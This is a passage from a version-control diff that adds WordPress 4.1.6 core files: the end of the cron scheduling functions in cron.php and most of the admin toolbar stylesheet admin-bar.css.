+	$gmt_time = microtime( true );
+	$keys = array_keys( $crons );
+	if ( isset($keys[0]) && $keys[0] > $gmt_time )
+		return;
+
+	$schedules = wp_get_schedules();
+	foreach ( $crons as $timestamp => $cronhooks ) {
+		if ( $timestamp > $gmt_time ) break;
+		foreach ( (array) $cronhooks as $hook => $args ) {
+			if ( isset($schedules[$hook]['callback']) && !call_user_func( $schedules[$hook]['callback'] ) )
+				continue;
+			spawn_cron( $gmt_time );
+			break 2;
+		}
+	}
+}
+
+/**
+ * Retrieve supported and filtered Cron recurrences.
+ *
+ * The supported recurrences are 'hourly' and 'daily'. A plugin may add more by
+ * hooking into the 'cron_schedules' filter. The filter accepts an array of
+ * arrays. The outer array has a key that is the name of the schedule or for
+ * example 'weekly'. The value is an array with two keys, one is 'interval' and
+ * the other is 'display'.
+ *
+ * The 'interval' is a number in seconds of when the cron job should run. So for
+ * 'hourly', the time is 3600 or 60*60. For weekly, the value would be
+ * 60*60*24*7 or 604800. The value of 'interval' would then be 604800.
+ *
+ * The 'display' is the description. For the 'weekly' key, the 'display' would
+ * be `__( 'Once Weekly' )`.
+ *
+ * For your plugin, you will be passed an array. you can easily add your
+ * schedule by doing the following.
+ *
+ *     // Filter parameter variable name is 'array'.
+ *     $array['weekly'] = array(
+ *         'interval' => 604800,
+ *     	   'display'  => __( 'Once Weekly' )
+ *     );
+ *
+ *
+ * @since 2.1.0
+ *
+ * @return array
+ */
+function wp_get_schedules() {
+	$schedules = array(
+		'hourly'     => array( 'interval' => HOUR_IN_SECONDS,      'display' => __( 'Once Hourly' ) ),
+		'twicedaily' => array( 'interval' => 12 * HOUR_IN_SECONDS, 'display' => __( 'Twice Daily' ) ),
+		'daily'      => array( 'interval' => DAY_IN_SECONDS,       'display' => __( 'Once Daily' ) ),
+	);
+	/**
+	 * Filter the non-default cron schedules.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $new_schedules An array of non-default cron schedules. Default empty.
+	 */
+	return array_merge( apply_filters( 'cron_schedules', array() ), $schedules );
+}
+
+/**
+ * Retrieve Cron schedule for hook with arguments.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return string|bool False, if no schedule. Schedule on success.
+ */
+function wp_get_schedule($hook, $args = array()) {
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	if ( empty($crons) )
+		return false;
+	foreach ( $crons as $timestamp => $cron ) {
+		if ( isset( $cron[$hook][$key] ) )
+			return $cron[$hook][$key]['schedule'];
+	}
+	return false;
+}
+
+//
+// Private functions
+//
+
+/**
+ * Retrieve cron info array option.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @return array CRON info array.
+ */
+function _get_cron_array()  {
+	$cron = get_option('cron');
+	if ( ! is_array($cron) )
+		return false;
+
+	if ( !isset($cron['version']) )
+		$cron = _upgrade_cron_array($cron);
+
+	unset($cron['version']);
+
+	return $cron;
+}
+
+/**
+ * Updates the CRON option with the new CRON array.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $cron Cron info array from {@link _get_cron_array()}.
+ */
+function _set_cron_array($cron) {
+	$cron['version'] = 2;
+	update_option( 'cron', $cron );
+}
+
+/**
+ * Upgrade a Cron info array.
+ *
+ * This function upgrades the Cron info array to version 2.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $cron Cron info array from {@link _get_cron_array()}.
+ * @return array An upgraded Cron info array.
+ */
+function _upgrade_cron_array($cron) {
+	if ( isset($cron['version']) && 2 == $cron['version'])
+		return $cron;
+
+	$new_cron = array();
+
+	foreach ( (array) $cron as $timestamp => $hooks) {
+		foreach ( (array) $hooks as $hook => $args ) {
+			$key = md5(serialize($args['args']));
+			$new_cron[$timestamp][$hook][$key] = $args;
+		}
+	}
+
+	$new_cron['version'] = 2;
+	update_option( 'cron', $new_cron );
+	return $new_cron;
+}
Index: /tags/4.1.6/src/wp-includes/css/admin-bar.css
===================================================================
--- /tags/4.1.6/src/wp-includes/css/admin-bar.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/css/admin-bar.css	(revision 33402)
@@ -0,0 +1,1098 @@
+#wpadminbar * {
+	height: auto;
+	width: auto;
+	margin: 0;
+	padding: 0;
+	position: static;
+	text-shadow: none;
+	text-transform: none;
+	letter-spacing: normal;
+	font: normal 13px/32px "Open Sans", sans-serif;
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	-webkit-box-sizing: content-box;
+	-moz-box-sizing: content-box;
+	box-sizing: content-box;
+	-webkit-transition: none;
+	transition: none;
+	-webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */
+}
+
+.rtl #wpadminbar * {
+	font-family: Tahoma, sans-serif;
+}
+
+html:lang(he-il) .rtl #wpadminbar *  {
+ 	font-family: Arial, sans-serif;
+}
+
+#wpadminbar a.ab-item,
+#wpadminbar > #wp-toolbar span.ab-label,
+#wpadminbar > #wp-toolbar span.noticon {
+	color: #eee;
+}
+
+#wpadminbar #wp-admin-bar-site-name a.ab-item,
+#wpadminbar #wp-admin-bar-my-sites a.ab-item {
+	white-space: nowrap;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+
+#wpadminbar ul li:before,
+#wpadminbar ul li:after {
+	content: normal;
+}
+
+#wpadminbar a,
+#wpadminbar a:hover,
+#wpadminbar a img,
+#wpadminbar a img:hover {
+	outline: none;
+	border: none;
+	text-decoration: none;
+	background: none;
+}
+
+#wpadminbar a:focus,
+#wpadminbar a:active,
+#wpadminbar input[type="text"],
+#wpadminbar input[type="password"],
+#wpadminbar input[type="number"],
+#wpadminbar input[type="search"],
+#wpadminbar input[type="email"],
+#wpadminbar input[type="url"],
+#wpadminbar select,
+#wpadminbar textarea,
+#wpadminbar div {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	outline: none;
+}
+
+#wpadminbar {
+	direction: ltr;
+	color: #ccc;
+	font: normal 13px/32px "Open Sans", sans-serif;
+	height: 32px;
+	position: fixed;
+	top: 0;
+	left: 0;
+	width: 100%;
+	min-width: 600px; /* match the min-width of the body in wp-admin.css */
+	z-index: 99999;
+	background: #222;
+}
+
+#wpadminbar .ab-sub-wrapper,
+#wpadminbar ul,
+#wpadminbar ul li {
+	background: none;
+	clear: none;
+	list-style: none;
+	margin: 0;
+	padding: 0;
+	position: relative;
+	text-indent: 0;
+	z-index: 99999;
+}
+
+#wpadminbar ul#wp-admin-bar-root-default>li {
+	margin-right: 0;
+}
+
+#wpadminbar .quicklinks ul {
+	text-align: left;
+}
+
+#wpadminbar li {
+	float: left;
+}
+
+#wpadminbar .ab-empty-item {
+	outline: none;
+}
+
+#wpadminbar .quicklinks .ab-top-secondary > li {
+	float: right;
+}
+
+#wpadminbar .quicklinks a,
+#wpadminbar .quicklinks .ab-empty-item,
+#wpadminbar .shortlink-input {
+	height: 32px;
+	display: block;
+	padding: 0 10px;
+	margin: 0;
+}
+
+#wpadminbar .quicklinks > ul > li > a {
+	padding: 0 8px 0 7px;
+}
+
+#wpadminbar .menupop .ab-sub-wrapper,
+#wpadminbar .shortlink-input {
+	margin: 0;
+	padding: 0;
+	-webkit-box-shadow: 0 3px 5px rgba(0,0,0,0.2);
+	box-shadow: 0 3px 5px rgba(0,0,0,0.2);
+	background: #333;
+	display: none;
+	position: absolute;
+	float: none;
+}
+
+#wpadminbar.ie7 .menupop .ab-sub-wrapper,
+#wpadminbar.ie7 .shortlink-input {
+	top: 32px;
+	left: 0;
+}
+
+#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
+	min-width: 100%;
+}
+
+#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper {
+	right: 0;
+	left: auto;
+}
+
+#wpadminbar .ab-submenu {
+	padding: 6px 0;
+}
+
+#wpadminbar .selected .shortlink-input {
+	display: block;
+}
+
+#wpadminbar .quicklinks .menupop ul li {
+	float: none;
+}
+
+#wpadminbar .quicklinks .menupop ul li a strong {
+	font-weight: bold;
+}
+
+#wpadminbar .quicklinks .menupop ul li .ab-item,
+#wpadminbar .quicklinks .menupop ul li a strong,
+#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
+#wpadminbar .shortlink-input {
+	line-height: 26px;
+	height: 26px;
+	white-space: nowrap;
+	min-width: 140px;
+}
+
+#wpadminbar .shortlink-input {
+	width: 200px;
+}
+
+#wpadminbar.nojs li:hover > .ab-sub-wrapper,
+#wpadminbar li.hover > .ab-sub-wrapper {
+	display: block;
+}
+
+#wpadminbar .menupop li:hover > .ab-sub-wrapper,
+#wpadminbar .menupop li.hover > .ab-sub-wrapper {
+	margin-left: 100%;
+	margin-top: -32px;
+}
+
+#wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper,
+#wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper {
+	margin-left: 0;
+	left: inherit;
+	right: 100%;
+}
+
+#wpadminbar .ab-top-menu > li > .ab-item:focus,
+#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
+#wpadminbar .ab-top-menu > li:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.hover > .ab-item {
+	background: #333;
+	color: #45bbe6;
+}
+
+#wpadminbar > #wp-toolbar li:hover span.ab-label,
+#wpadminbar > #wp-toolbar li.hover span.ab-label,
+#wpadminbar > #wp-toolbar a:focus span.ab-label {
+	color: #45bbe6;
+}
+
+#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
+#wpadminbar .ab-icon,
+#wpadminbar .ab-item:before {
+	position: relative;
+	float: left;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	padding: 4px 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	background-image: none !important;
+	margin-right: 6px;
+}
+
+#wpadminbar .ab-icon:before,
+#wpadminbar .ab-item:before,
+#wpadminbar #adminbarsearch:before {
+	color: #999;
+}
+
+#wpadminbar .ab-icon:before,
+#wpadminbar .ab-item:before,
+#wpadminbar #adminbarsearch:before {
+	position: relative;
+	-webkit-transition: all .1s ease-in-out;
+	transition: all .1s ease-in-out;
+}
+
+#wpadminbar .ab-label {
+	display: inline-block;
+	height: 32px;
+}
+
+#wpadminbar .ab-submenu .ab-item {
+	color: #eee;
+}
+
+#wpadminbar .quicklinks .menupop ul li a,
+#wpadminbar .quicklinks .menupop ul li a strong,
+#wpadminbar .quicklinks .menupop.hover ul li a,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
+	color: #eee;
+}
+
+#wpadminbar .quicklinks .menupop ul li a:hover,
+#wpadminbar .quicklinks .menupop ul li a:focus,
+#wpadminbar .quicklinks .menupop ul li a:hover strong,
+#wpadminbar .quicklinks .menupop ul li a:focus strong,
+#wpadminbar .quicklinks .menupop.hover ul li a:hover,
+#wpadminbar .quicklinks .menupop.hover ul li a:focus,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
+#wpadminbar li:hover .ab-icon:before,
+#wpadminbar li:hover .ab-item:before,
+#wpadminbar li a:focus .ab-icon:before,
+#wpadminbar li .ab-item:focus:before,
+#wpadminbar li.hover .ab-icon:before,
+#wpadminbar li.hover .ab-item:before,
+#wpadminbar li:hover #adminbarsearch:before {
+	color: #45bbe6;
+}
+
+#wpadminbar .menupop .menupop > .ab-item:before,
+#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
+	position: absolute;
+	font: normal 17px/1 'dashicons';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#wpadminbar .menupop .menupop > .ab-item {
+	display: block;
+	padding-right: 2em;
+}
+
+#wpadminbar .menupop .menupop > .ab-item:before {
+	top: 1px;
+	right: 4px;
+	content: '\f139';
+	color: inherit;
+}
+
+#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item {
+	padding-left: 2em;
+	padding-right: 1em;
+}
+
+#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
+	top: 5px;
+	left: 3px;
+	content: '\f141';
+}
+
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary {
+	display: block;
+	position: relative;
+	right: auto;
+	margin: 0;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
+	background: #4b4b4b;
+}
+
+#wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover,
+#wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a {
+	color: #45bbe6;
+}
+
+#wpadminbar .quicklinks a span#ab-updates {
+	background: #eee;
+	color: #333;
+	display: inline;
+	padding: 2px 5px;
+	font-size: 10px;
+	font-weight: bold;
+	-webkit-border-radius: 10px;
+	border-radius: 10px;
+}
+
+#wpadminbar .quicklinks a:hover span#ab-updates  {
+	background: #fff;
+	color: #000;
+}
+
+#wpadminbar .ab-top-secondary {
+	float: right;
+}
+
+#wpadminbar ul li:last-child,
+#wpadminbar ul li:last-child .ab-item {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+/**
+ * My Account
+ */
+#wp-admin-bar-my-account > ul {
+	min-width: 198px;
+}
+
+#wp-admin-bar-my-account > .ab-item:before {
+	content: "\f110";
+	top: 2px;
+	float: right;
+	margin-left: 6px;
+	margin-right: 0;
+}
+
+#wp-admin-bar-my-account.with-avatar > .ab-item:before {
+	display: none;
+	content: none;
+}
+
+#wp-admin-bar-my-account.with-avatar > ul {
+	min-width: 270px;
+}
+
+#wpadminbar #wp-admin-bar-user-actions > li {
+	margin-left: 16px;
+	margin-right: 16px;
+}
+
+#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
+	padding: 6px 0 12px;
+}
+
+#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
+	margin-left: 88px;
+}
+
+#wpadminbar #wp-admin-bar-user-info {
+	margin-top: 6px;
+	margin-bottom: 15px;
+	height: auto;
+	background: none;
+}
+
+#wp-admin-bar-user-info .avatar {
+	position: absolute;
+	left: -72px;
+	top: 4px;
+	width: 64px;
+	height: 64px;
+}
+
+#wpadminbar #wp-admin-bar-user-info a {
+	background: none;
+	height: auto;
+}
+
+#wpadminbar #wp-admin-bar-user-info span {
+	background: none;
+	padding: 0;
+	height: 18px;
+}
+
+#wpadminbar #wp-admin-bar-user-info .display-name,
+#wpadminbar #wp-admin-bar-user-info .username {
+	display: block;
+}
+
+#wpadminbar #wp-admin-bar-user-info .username {
+	color: #999;
+	font-size: 11px;
+}
+
+#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
+	width: 16px;
+	height: 16px;
+	padding: 0;
+	border: 1px solid #888;
+	background: #eee;
+	line-height: 24px;
+	vertical-align: middle;
+	margin: -4px 0 0 6px;
+	float: none;
+	display: inline;
+}
+
+/**
+ * WP Logo
+ */
+#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
+	width: 15px;
+	height: 20px;
+	margin-right: 0;
+	padding: 6px 0 5px;
+}
+
+#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
+	padding: 0 7px;
+}
+
+#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
+	content: '\f120';
+	top: 2px;
+}
+
+/*
+ * My Sites & Site Title
+ */
+#wpadminbar .quicklinks li .blavatar {
+	float: left;
+	font: normal 16px/1 'dashicons' !important;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	color: #eee;
+}
+
+#wpadminbar .quicklinks li a:hover .blavatar {
+	color: #45bbe6;
+}
+
+#wpadminbar .quicklinks li .blavatar:before {
+	content: '\f120';
+	height: 16px;
+	width: 16px;
+	display: inline-block;
+	margin: 6px 8px 0 -2px;
+}
+
+#wpadminbar #wp-admin-bar-appearance {
+	margin-top: -12px;
+}
+
+#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
+#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
+	content: '\f112';
+	top: 2px;
+}
+
+#wpadminbar #wp-admin-bar-edit > .ab-item:before {
+	content: '\f464';
+	top: 2px;
+}
+
+#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
+	content: "\f226";
+}
+
+.wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before {
+	content: "\f102";
+}
+
+
+
+/**
+ * Comments
+ */
+#wpadminbar #wp-admin-bar-comments .ab-icon {
+	margin-right: 6px;
+}
+
+#wpadminbar #wp-admin-bar-comments .ab-icon:before {
+	content: '\f101';
+	top: 3px;
+}
+
+#wpadminbar #wp-admin-bar-comments .count-0 {
+	opacity: .5;
+}
+
+/**
+ * New Content
+ */
+#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
+	content: '\f132';
+	top: 4px;
+}
+
+/**
+ * Updates
+ */
+#wpadminbar #wp-admin-bar-updates .ab-icon:before {
+	content: '\f463';
+	top: 2px;
+}
+
+/**
+ * Search
+ */
+#wpadminbar #wp-admin-bar-search .ab-item {
+	padding: 0;
+	background: transparent;
+}
+
+#wpadminbar #adminbarsearch {
+	position: relative;
+	height: 32px;
+	padding: 0 2px;
+}
+
+#wpadminbar #adminbarsearch:before {
+	position: absolute;
+	top: 6px;
+	left: 5px;
+	z-index: 20;
+	font: normal 20px/1 'dashicons' !important;
+	content: '\f179';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
+	position: relative;
+	z-index: 30;
+	font: 13px/24px "Open Sans", sans-serif;
+	height: 24px;
+	width: 24px;
+	padding: 0 3px 0 24px;
+	margin: 0;
+	color: #ccc;
+	background-color: rgba( 255, 255, 255, 0 );
+	border: none;
+	outline: none;
+	cursor: pointer;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	-webkit-transition-duration: 400ms;
+	transition-duration: 400ms;
+	-webkit-transition-property: width, background;
+	transition-property: width, background;
+	-webkit-transition-timing-function: ease;
+	transition-timing-function: ease;
+}
+
+#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
+	z-index: 10;
+	color: #000;
+	width: 200px;
+	background-color: rgba( 255, 255, 255, 0.9 );
+	cursor: text;
+	border: 0;
+}
+
+#wpadminbar.ie7 > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
+	margin-top: 3px;
+	width: 120px;
+}
+
+#wpadminbar.ie8 > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
+	margin-top: 4px;
+	background-color: #464646;
+}
+
+#wpadminbar.ie8 > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
+	background-color: #fff;
+}
+
+#wpadminbar #adminbarsearch .adminbar-input::-webkit-input-placeholder {
+	color: #999;
+}
+#wpadminbar #adminbarsearch .adminbar-input:-moz-placeholder {
+	color: #999;
+}
+#wpadminbar #adminbarsearch .adminbar-input::-moz-placeholder {
+	color: #999;
+}
+#wpadminbar #adminbarsearch .adminbar-input:-ms-input-placeholder {
+	color: #999;
+}
+
+#wpadminbar #adminbarsearch .adminbar-button {
+	display: none;
+}
+
+/**
+ * Customize support classes
+ */
+.no-customize-support .hide-if-no-customize,
+.customize-support .hide-if-customize,
+.no-customize-support #wpadminbar .hide-if-no-customize,
+.no-customize-support.wp-core-ui .hide-if-no-customize,
+.no-customize-support .wp-core-ui .hide-if-no-customize,
+.customize-support #wpadminbar .hide-if-customize,
+.customize-support.wp-core-ui .hide-if-customize,
+.customize-support .wp-core-ui .hide-if-customize {
+	display: none;
+}
+
+/* Skip link */
+#wpadminbar .screen-reader-text,
+#wpadminbar .screen-reader-text span {
+	position: absolute;
+	left: -1000em;
+	top: -1000em;
+	height: 1px;
+	width: 1px;
+	overflow: hidden;
+}
+
+#wpadminbar .screen-reader-shortcut {
+	position: absolute;
+	top: -1000em;
+}
+
+#wpadminbar .screen-reader-shortcut:focus {
+	left: 6px;
+	top: 7px;
+	height: auto;
+	width: auto;
+	display: block;
+	font-size: 14px;
+	font-weight: bold;
+	padding: 15px 23px 14px;
+	background: #f1f1f1;
+	color: #21759b;
+	z-index: 100000;
+	line-height: normal;
+	text-decoration: none;
+	-webkit-box-shadow: 0 0 2px 2px rgba(0,0,0,.6);
+	box-shadow: 0 0 2px 2px rgba(0,0,0,.6);
+}
+
+/**
+ * IE 6-targeted rules
+ */
+* html #wpadminbar {
+	overflow: hidden;
+	position: absolute;
+}
+
+* html #wpadminbar .quicklinks ul li a {
+	float: left;
+}
+
+* html #wpadminbar .menupop a span {
+	background-image: none;
+}
+
+/* No @font-face support */
+.no-font-face #wpadminbar ul.ab-top-menu > li > a.ab-item {
+	display: block;
+	width: 45px;
+	text-align: center;
+	overflow: hidden;
+	margin: 0 3px;
+}
+
+.no-font-face #wpadminbar #wp-admin-bar-my-sites > .ab-item,
+.no-font-face #wpadminbar #wp-admin-bar-site-name > .ab-item,
+.no-font-face #wpadminbar #wp-admin-bar-edit > .ab-item {
+	text-indent: 0;
+}
+
+.no-font-face #wpadminbar .ab-icon,
+.no-font-face #wpadminbar .ab-icon:before,
+.no-font-face #wpadminbar a.ab-item:before,
+.no-font-face #wpadminbar #wp-admin-bar-wp-logo > .ab-item {
+	display: none !important;
+}
+
+.no-font-face #wpadminbar ul.ab-top-menu > li > a > span.ab-label {
+	display: inline;
+}
+
+.no-font-face #wpadminbar #wp-admin-bar-menu-toggle span.ab-icon {
+	display: inline !important;
+}
+
+.no-font-face #wpadminbar #wp-admin-bar-menu-toggle span.ab-icon:before {
+	content: "Menu";
+	font: 14px/45px sans-serif !important;
+	display: inline-block !important;
+	color: #fff;
+}
+
+.no-font-face #wpadminbar #wp-admin-bar-site-name a.ab-item {
+	color: #fff;
+}
+/* End no @font-face */
+
+@media screen and ( max-width: 782px ) {
+	/* Toolbar Touchification*/
+	html #wpadminbar {
+		height: 46px;
+		min-width: 300px;
+
+	/*	These rules break dropdown tappability on Chrome/Android.
+		-webkit-transform: translate3d(0, 0, 0);
+		-webkit-backface-visibility: hidden;
+		-webkit-transition: 0;
+		transform: translate3d(0, 0, 0);
+		backface-visibility: hidden;
+		transition: 0;
+	*/
+	}
+
+	#wpadminbar * {
+		font: normal 14px/32px "Open Sans", sans-serif;
+	}
+
+	#wpadminbar .quicklinks > ul > li > a,
+	#wpadminbar .quicklinks .ab-empty-item {
+		padding: 0;
+		height: 46px;
+		line-height: 46px;
+		width: auto;
+	}
+
+	#wpadminbar .ab-icon {
+		font: 40px/1 dashicons !important;
+		margin: 0;
+		padding: 0;
+		width: 52px;
+		height: 46px;
+		text-align: center;
+	}
+
+	#wpadminbar .ab-icon:before {
+		text-align: center;
+	}
+
+	#wpadminbar .ab-submenu {
+		padding: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-site-name a.ab-item,
+	#wpadminbar #wp-admin-bar-my-sites a.ab-item,
+	#wpadminbar #wp-admin-bar-my-account a.ab-item {
+		text-overflow: clip;
+	}
+
+	#wpadminbar .ab-label {
+		display: none;
+	}
+
+	#wpadminbar .menupop li:hover > .ab-sub-wrapper,
+	#wpadminbar .menupop li.hover > .ab-sub-wrapper {
+		margin-top: -46px;
+	}
+
+	#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item {
+		padding-right: 30px;
+	}
+
+	#wpadminbar .menupop .menupop > .ab-item:before {
+		top: 10px;
+		right: 6px;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item {
+		font-size: 16px;
+		padding: 6px 15px 12px;
+	}
+
+	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty {
+		display: none;
+	}
+
+	/* WP logo */
+	#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
+		padding: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
+		padding: 0;
+		width: 52px;
+		height: 46px;
+		text-align: center;
+		vertical-align: top;
+	}
+
+	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
+		font: 28px/1 'dashicons' !important;
+		top: -3px;
+	}
+
+	#wpadminbar .ab-icon,
+	#wpadminbar .ab-item:before {
+		padding: 0;
+	}
+
+	/* My Sites and "Site Title" menu */
+	#wpadminbar #wp-admin-bar-my-sites > .ab-item,
+	#wpadminbar #wp-admin-bar-site-name > .ab-item,
+	#wpadminbar #wp-admin-bar-edit > .ab-item,
+	#wpadminbar #wp-admin-bar-my-account > .ab-item {
+		text-indent: 100%;
+		white-space: nowrap;
+		overflow: hidden;
+		width: 52px;
+		padding: 0;
+		color: #999;
+		position: relative;
+	}
+
+	#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
+	#wpadminbar .ab-icon,
+	#wpadminbar .ab-item:before {
+		padding: 0;
+		margin-right: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-edit > .ab-item:before,
+	#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
+	#wpadminbar #wp-admin-bar-site-name > .ab-item:before,
+	#wpadminbar #wp-admin-bar-my-account > .ab-item:before {
+		display: block;
+		text-indent: 0;
+		font: normal 32px/1 'dashicons';
+		speak: none;
+		top: 7px;
+		width: 52px;
+		text-align: center;
+		-webkit-font-smoothing: antialiased;
+		-moz-osx-font-smoothing: grayscale;
+	}
+
+	#wpadminbar #wp-admin-bar-appearance {
+		margin-top: 0;
+	}
+
+	#wpadminbar .quicklinks li .blavatar:before {
+		display: none;
+	}
+
+	/* Search */
+	#wpadminbar #wp-admin-bar-search {
+		display: none;
+	}
+
+	/* New Content */
+	#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
+		top: 0;
+		line-height: 53px;
+		height: 46px !important;
+		text-align: center;
+		width: 52px;
+		display: block;
+	}
+
+	/* Updates */
+	#wpadminbar #wp-admin-bar-updates {
+		text-align: center;
+	}
+
+	#wpadminbar #wp-admin-bar-updates .ab-icon:before {
+		top: 3px;
+	}
+
+	/* Comments */
+	#wpadminbar #wp-admin-bar-comments .ab-icon {
+		margin: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-comments .ab-icon:before {
+		display: block;
+		font-size: 34px;
+		height: 46px;
+		line-height: 47px;
+		top: 0;
+	}
+
+	/* My Account */
+	#wpadminbar #wp-admin-bar-my-account > a {
+		position: relative;
+		white-space: nowrap;
+		text-indent: 150%; /* More than 100% indention is needed since this element has padding */
+		width: 28px;
+		padding: 0 10px;
+		overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */
+	}
+
+	#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
+		position: absolute;
+		top: 13px;
+		right: 10px;
+		width: 26px;
+		height: 26px;
+	}
+
+	#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
+		padding: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar {
+		display: none;
+	}
+
+	#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
+		margin: 0;
+	}
+
+	#wpadminbar #wp-admin-bar-user-info .display-name {
+		height: auto;
+		font-size: 16px;
+		line-height: 24px;
+		color: #eee;
+	}
+
+	#wpadminbar #wp-admin-bar-user-info a {
+		padding-top: 4px;
+	}
+
+	#wpadminbar #wp-admin-bar-user-info .username {
+		line-height: 0.8 !important;
+		margin-bottom: -2px;
+	}
+
+	/* Show only default top level items */
+	#wp-toolbar > ul > li {
+		display: none;
+	}
+
+	#wpadminbar li#wp-admin-bar-menu-toggle,
+	#wpadminbar li#wp-admin-bar-wp-logo,
+	#wpadminbar li#wp-admin-bar-my-sites,
+	#wpadminbar li#wp-admin-bar-updates,
+	#wpadminbar li#wp-admin-bar-site-name,
+	#wpadminbar li#wp-admin-bar-new-content,
+	#wpadminbar li#wp-admin-bar-edit,
+	#wpadminbar li#wp-admin-bar-comments,
+	#wpadminbar li#wp-admin-bar-new-content,
+	#wpadminbar li#wp-admin-bar-my-account {
+		display: block;
+	}
+
+	/* Allow dropdown list items to appear normally */
+	#wpadminbar li:hover ul li,
+	#wpadminbar li.hover ul li,
+	#wpadminbar li:hover ul li:hover ul li {
+		display: list-item;
+	}
+
+	/* Override default min-width so dropdown lists aren't stretched
+		to 100% viewport width at responsive sizes. */
+	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
+		min-width: -webkit-fit-content;
+		min-width: -moz-fit-content;
+		min-width: fit-content;
+	}
+
+	#wpadminbar ul#wp-admin-bar-root-default > li {
+		margin-right: 0;
+	}
+
+	/* Experimental fix for touch toolbar dropdown positioning */
+	#wpadminbar .ab-top-menu,
+	#wpadminbar .ab-top-secondary,
+	#wpadminbar #wp-admin-bar-wp-logo,
+	#wpadminbar #wp-admin-bar-my-sites,
+	#wpadminbar #wp-admin-bar-site-name,
+	#wpadminbar #wp-admin-bar-updates,
+	#wpadminbar #wp-admin-bar-comments,
+	#wpadminbar #wp-admin-bar-new-content,
+	#wpadminbar #wp-admin-bar-edit,
+	#wpadminbar #wp-admin-bar-my-account {
+		position: static;
+	}
+
+	#wpadminbar #wp-admin-bar-my-account {
+		float: right;
+	}
+
